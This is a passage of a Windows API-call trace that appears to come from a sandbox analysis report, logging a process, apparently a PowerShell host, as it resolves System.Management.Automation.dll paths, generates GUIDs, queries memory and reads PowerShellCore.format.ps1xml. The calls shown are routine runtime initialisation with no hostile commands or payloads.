0x0 [0062.698] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.698] GetLastError () returned 0x0 [0062.698] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.698] GetLastError () returned 0x0 [0062.698] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.698] GetLastError () returned 0x0 [0062.698] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.698] GetLastError () returned 0x0 [0062.698] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.698] GetLastError () returned 0x0 [0062.698] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.698] GetLastError () returned 0x0 [0062.699] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0xfcdead2, Data2=0xa04, Data3=0x4186, Data4=([0]=0x8f, [1]=0xf7, [2]=0x5d, [3]=0x16, [4]=0x72, [5]=0x40, [6]=0xe1, [7]=0x15))) returned 0x0 [0062.699] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.699] GetLastError () returned 0x0 [0062.699] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.699] GetLastError () returned 0x0 [0062.699] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.699] GetLastError () returned 0x0 [0062.699] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.699] GetLastError () returned 0x0 [0062.699] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.699] GetLastError () returned 0x0 [0062.699] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.699] GetLastError () returned 0x0 [0062.699] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0xe2e10417, Data2=0x5173, Data3=0x4fd0, Data4=([0]=0xad, [1]=0xcc, [2]=0x74, [3]=0x23, [4]=0x53, [5]=0x25, [6]=0x5d, [7]=0xe8))) returned 0x0 [0062.699] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.699] GetLastError () returned 0x0 [0062.699] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.700] GetLastError () returned 0x0 [0062.700] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.700] GetLastError () returned 0x0 [0062.700] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.700] GetLastError () returned 0x0 [0062.700] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.700] GetLastError () returned 0x0 [0062.700] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.700] GetLastError () returned 0x0 [0062.700] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0xfe7f443b, Data2=0x8a2b, Data3=0x484b, Data4=([0]=0xb9, [1]=0xdf, [2]=0xaf, [3]=0xd6, [4]=0x98, [5]=0x80, [6]=0xf5, [7]=0x5a))) returned 0x0 [0062.700] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.700] GetLastError () returned 0x0 [0062.700] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.700] GetLastError () returned 0x0 [0062.700] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.700] GetLastError () returned 0x0 [0062.700] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.700] GetLastError () returned 0x0 [0062.700] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.701] GetLastError () returned 0x0 [0062.701] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.701] GetLastError () returned 0x0 [0062.701] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0xcb6cd6ed, Data2=0x2518, Data3=0x447e, Data4=([0]=0xa8, [1]=0x84, [2]=0x85, [3]=0xb8, [4]=0x3d, [5]=0x7a, [6]=0x64, [7]=0x83))) returned 0x0 [0062.701] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0x5334f628, Data2=0xedeb, Data3=0x48ec, Data4=([0]=0x91, [1]=0xcc, [2]=0x27, [3]=0x1c, [4]=0xe3, [5]=0xb8, [6]=0x9a, [7]=0x47))) returned 0x0 [0062.701] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0x11ddb490, Data2=0x9b1f, Data3=0x460a, Data4=([0]=0xa1, [1]=0x92, [2]=0xad, [3]=0x20, [4]=0x66, [5]=0xbf, [6]=0x75, [7]=0xb))) returned 0x0 [0062.701] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.701] GetLastError () returned 0x0 [0062.702] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.702] GetLastError () returned 0x0 [0062.702] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.702] GetLastError () returned 0x0 [0062.702] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.702] GetLastError () returned 0x0 [0062.702] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.702] GetLastError () returned 0x0 [0062.702] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.703] GetLastError () returned 0x0 [0062.703] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0x264136af, Data2=0x5cbe, Data3=0x4c65, Data4=([0]=0xad, [1]=0xce, [2]=0xa2, [3]=0xa4, [4]=0x4b, [5]=0x19, [6]=0x47, [7]=0x8d))) returned 0x0 [0062.703] VirtualQuery (in: lpAddress=0x14cf74, lpBuffer=0x14df74, dwLength=0x1c | out: lpBuffer=0x14df74*(BaseAddress=0x14c000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.703] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14db00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.703] GetLastError () returned 0x0 [0062.703] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14dab0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.703] GetLastError () returned 0x0 [0062.703] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14dab0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.703] GetLastError () returned 0x0 [0062.703] VirtualQuery (in: lpAddress=0x14cf74, lpBuffer=0x14df74, dwLength=0x1c | out: lpBuffer=0x14df74*(BaseAddress=0x14c000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.704] VirtualQuery (in: lpAddress=0x14cfb0, lpBuffer=0x14dfb0, dwLength=0x1c | out: lpBuffer=0x14dfb0*(BaseAddress=0x14c000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.704] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14d968, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.704] GetLastError () returned 0x0 [0062.704] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14d918, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.704] GetLastError () returned 0x0 [0062.704] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14d918, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.704] GetLastError () returned 0x0 [0062.704] VirtualQuery (in: lpAddress=0x14cf74, lpBuffer=0x14df74, dwLength=0x1c | out: lpBuffer=0x14df74*(BaseAddress=0x14c000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.704] VirtualQuery (in: lpAddress=0x14cfb0, lpBuffer=0x14dfb0, dwLength=0x1c | out: lpBuffer=0x14dfb0*(BaseAddress=0x14c000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.704] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14d968, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.704] GetLastError () returned 0x0 [0062.704] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14d918, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.704] GetLastError () returned 0x0 [0062.705] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14d918, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.705] GetLastError () returned 0x0 [0062.705] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14db00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.705] GetLastError () returned 0x0 [0062.705] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14dab0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.705] GetLastError () returned 0x0 [0062.705] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14dab0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.705] GetLastError () returned 0x0 [0062.705] VirtualQuery (in: lpAddress=0x14cf74, lpBuffer=0x14df74, dwLength=0x1c | out: lpBuffer=0x14df74*(BaseAddress=0x14c000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.705] VirtualQuery (in: lpAddress=0x14cfb0, lpBuffer=0x14dfb0, dwLength=0x1c | out: lpBuffer=0x14dfb0*(BaseAddress=0x14c000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.708] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0xb56013e9, Data2=0x6c7f, Data3=0x4d4c, Data4=([0]=0xb8, [1]=0x8b, [2]=0x6c, [3]=0xea, [4]=0xad, [5]=0x62, [6]=0x49, [7]=0x4a))) returned 0x0 [0062.711] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0x3bddaf39, Data2=0x3760, Data3=0x43a0, Data4=([0]=0x9c, [1]=0x92, [2]=0x33, [3]=0x2b, [4]=0xf5, [5]=0x64, [6]=0xb0, [7]=0xf8))) returned 0x0 [0062.713] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0xea7791b0, Data2=0x773d, Data3=0x4864, Data4=([0]=0x8e, [1]=0x95, [2]=0x22, [3]=0xa5, [4]=0xde, [5]=0x55, [6]=0x98, [7]=0xf7))) returned 0x0 [0062.713] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0xf66cb402, Data2=0x635e, Data3=0x4eb9, Data4=([0]=0xb2, [1]=0xd, [2]=0x3f, [3]=0xd9, [4]=0xf7, [5]=0x64, [6]=0xf9, [7]=0x77))) returned 0x0 [0062.713] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0x28fec806, Data2=0xdfa7, Data3=0x4d91, Data4=([0]=0xa5, [1]=0x32, [2]=0x1, [3]=0x9a, [4]=0xaa, [5]=0xaa, [6]=0xaf, [7]=0x89))) returned 0x0 [0062.714] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0xc47eb916, Data2=0x1113, Data3=0x4979, Data4=([0]=0x8b, [1]=0xa0, [2]=0x14, [3]=0x70, [4]=0xa4, [5]=0x1a, [6]=0xeb, [7]=0x18))) returned 0x0 [0062.715] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0x8a5d1bfb, Data2=0xca3d, Data3=0x4338, Data4=([0]=0x94, [1]=0x64, [2]=0x3f, [3]=0x44, [4]=0xf0, [5]=0xaf, [6]=0x6c, [7]=0xae))) returned 0x0 [0062.715] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0x6b7f6f77, Data2=0xe08c, Data3=0x4dac, Data4=([0]=0x87, [1]=0xc5, [2]=0x3, [3]=0xd6, [4]=0x6d, [5]=0x2, [6]=0xb1, [7]=0xb3))) returned 0x0 [0062.715] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0x9374462b, Data2=0x1184, Data3=0x49b7, Data4=([0]=0x84, [1]=0x53, [2]=0x2c, [3]=0xe6, [4]=0x9a, [5]=0x68, [6]=0xfe, [7]=0xc5))) returned 0x0 [0062.715] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0x411cb69e, Data2=0x714e, Data3=0x4376, Data4=([0]=0xb5, [1]=0x6, [2]=0xab, [3]=0x3e, [4]=0x70, [5]=0x5c, [6]=0x61, [7]=0xef))) returned 0x0 [0062.716] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershellcore.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x350 [0062.716] GetLastError () returned 0x0 [0062.716] GetFileType (hFile=0x350) returned 0x1 [0062.716] SetErrorMode (uMode=0x1) returned 0x1 [0062.716] GetFileType (hFile=0x350) returned 0x1 [0062.716] ReadFile (in: hFile=0x350, lpBuffer=0x3167598, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x3167598*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.718] GetLastError () returned 0x0 [0062.719] ReadFile (in: hFile=0x350, lpBuffer=0x3167598, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x3167598*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.719] GetLastError () returned 0x0 [0062.719] ReadFile (in: hFile=0x350, lpBuffer=0x3167598, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x3167598*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.719] GetLastError () returned 0x0 [0062.720] ReadFile (in: hFile=0x350, lpBuffer=0x3167598, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x3167598*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.720] GetLastError () returned 0x0 [0062.720] ReadFile (in: hFile=0x350, lpBuffer=0x3167598, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x3167598*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.720] GetLastError () returned 0x0 [0062.720] ReadFile (in: hFile=0x350, lpBuffer=0x3167598, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x3167598*, lpNumberOfBytesRead=0x14e6d4*=0x1000, 